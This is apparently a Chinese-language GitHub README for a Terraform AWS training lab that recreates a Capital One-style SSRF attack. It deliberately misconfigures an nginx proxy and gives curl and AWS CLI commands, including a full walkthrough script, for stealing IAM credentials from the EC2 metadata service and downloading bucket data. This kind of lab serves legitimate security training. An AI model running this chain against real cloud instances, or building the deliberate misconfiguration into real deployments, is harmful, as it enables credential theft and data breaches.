Aireck2/cyber-project-01

GitHub: Aireck2/cyber-project-01

一个用 Terraform 搭建的 AWS 云安全实战实验室,用于模拟和演练从 SSRF 到 S3 数据渗出的完整攻击链。

Stars: 0 | Forks: 0

# SSRF 到 S3 数据渗出 [![Terraform](https://img.shields.io/badge/Terraform-%3E%3D1.5-844fba?style=flat-square&logo=terraform)](https://terraform.io) [![AWS](https://img.shields.io/badge/AWS-ff9900?style=flat-square&logo=amazonaws&logoColor=white)](https://aws.amazon.com) [![License](https://img.shields.io/badge/License-MIT-yellow?style=flat-square)](LICENSE)
**难度:** 中等 · **规模:** 小型 [场景](#scenario) • [架构](#architecture) • [前置条件](#prerequisites) • [部署](#deployment) • [攻击流程](#attack-flow) • [清理](#cleanup)
这是一个动手实践的网络安全实验室,模拟针对 AWS EC2 实例的 **服务器端请求伪造 (SSRF)** 攻击,其灵感来自 [2019 年 Capital One 数据泄露事件](https://en.wikipedia.org/wiki/Capital_One_data_breach)。利用配置不当的反向代理,从 EC2 元数据服务中窃取 IAM 凭证,并从私有的 S3 存储桶中渗出敏感的持卡人数据。 ## 场景 从一个没有任何权限的匿名攻击者开始,你的目标是: 1. 识别充当反向代理且配置不当的 EC2 实例。 2. 通过篡改 `Host` 标头,构造 SSRF 请求以查询 **EC2 元数据服务** (`169.254.169.254`)。 3. 获取 **IAM 实例配置文件凭证**(Access Key ID、Secret Access Key、Session Token)。 4. 使用这些凭证发现并列出私有的 S3 存储桶。 5. 从 S3 存储桶中 **下载机密的持卡人数据**。 ## 架构 ![场景路线](https://www.lucidchart.com/publicSegments/view/3ffe907e-6281-47e9-b7bf-e07fdcb48103/image.png) ### 部署的资源 | 资源 | 描述 | | ------------------- | --------------------------------------------------------------------------------- | | **VPC** | `10.10.0.0/16`,包含 2 个公有子网、Internet Gateway 和路由 | | **EC2 Instance** | Ubuntu 22.04,运行存在漏洞的 nginx 反向代理 (`t3.micro`) | | **IAM Role** | 附加到实例配置文件的 `cg-banking-WAF-Role`,具有 `AmazonS3FullAccess` 权限 | | **S3 Bucket** | 私有存储桶 `cg-cardholder-data-bucket-*`,包含伪造的持卡人 CSV 文件 | | **Security Groups** | SSH (端口 22) 和 HTTP (端口 80) 限制为您的 IP 可访问 | nginx 反向代理被故意配置为不当状态:它根据 `Host` 标头转发请求,从而允许针对 EC2 元数据服务的 SSRF。 ## 前置条件 - [AWS CLI](https://aws.amazon.com/cli/) 并配置了管理员配置文件 - [Terraform](https://developer.hashicorp.com/terraform/downloads) >= 1.5 - 一对 SSH 密钥(默认:项目根目录下的 `cloudgoat` / `cloudgoat.pub`) - 您的公网 IP 地址记录在 `whitelist.txt` 中(每行一个条目) ## 部署 ``` # 将你的公网 IP 写入白名单 echo "$(curl -s ifconfig.me)" > whitelist.txt # 生成 SSH 密钥对 ssh-keygen -t rsa -b 2048 -f cloudgoat -N "" # 初始化并部署 cd terraform terraform init terraform apply -auto-approve \ -var="profile=default" \ -var="cgid=$(openssl rand -hex 4)" ``` 部署完成后,Terraform 会输出 **目标 EC2 IP 地址** - 这是您的入口点。 ## 攻击流程 ### 1. 侦察 您将获得 EC2 实例的公网 IP。探测该 Web 服务器: ``` curl http:// ``` 服务器响应一条错误消息,揭示了其用途:它只接受 `Host` 标头中包含元数据服务 IP 的请求。 ### 2. 针对元数据服务的 SSRF 构造一个将 `Host` 标头设置为 EC2 元数据服务 IP 的请求: ``` curl -H "Host: 169.254.169.254" http:///latest/meta-data/iam/security-credentials/ ``` 这会返回 IAM 角色名称。然后获取凭证: ``` curl -H "Host: 169.254.169.254" http:///latest/meta-data/iam/security-credentials/cg-banking-WAF-Role- ``` ### 3. 扮演 IAM 角色 将窃取的凭证设置为环境变量: ``` export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ``` ### 4. 发现并访问 S3 存储桶 列出 S3 存储桶并下载数据: ``` aws s3 ls aws s3 cp s3://cg-cardholder-data-bucket-/cardholders_corporate.csv . ``` ### 5. 数据渗出 该存储桶包含带有伪造个人身份信息 (PII) 的 CSV 文件,包括姓名、SSN、地址和公司账户数据 - 模拟在 Capital One 数据泄露事件中被盗的数据。 ## 完整演练 ``` # 1. 通过 SSRF 查找 IAM role name ROLE=$(curl -s -H "Host: 169.254.169.254" http:///latest/meta-data/iam/security-credentials/) # 2. 提取 credentials CREDS=$(curl -s -H "Host: 169.254.169.254" http:///latest/meta-data/iam/security-credentials/$ROLE) # 3. 导出 credentials export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId') export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey') export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Token') # 4. 列出并下载 BUCKET=$(aws s3 ls | awk '{print $3}') aws s3 cp s3://$BUCKET/ . --recursive ``` ## 清理 完成后销毁所有资源: ``` cd terraform terraform destroy -auto-approve -var="profile=default" -var="cgid=cleanup" ``` ## 参考资料 - [EC2 Instance Metadata Service](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) - [SSRF - OWASP](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery) - [Capital One Data Breach (2019)](https://www.exabeam.com/blog/ueba/a-look-at-the-capital-one-data-breach-through-the-lens-of-mitre-attck/)
标签:AWS, DPI, ECS, OPA, SSRF, StruQ, Terraform, 漏洞利用检测, 漏洞探索, 网络安全, 隐私保护, 靶场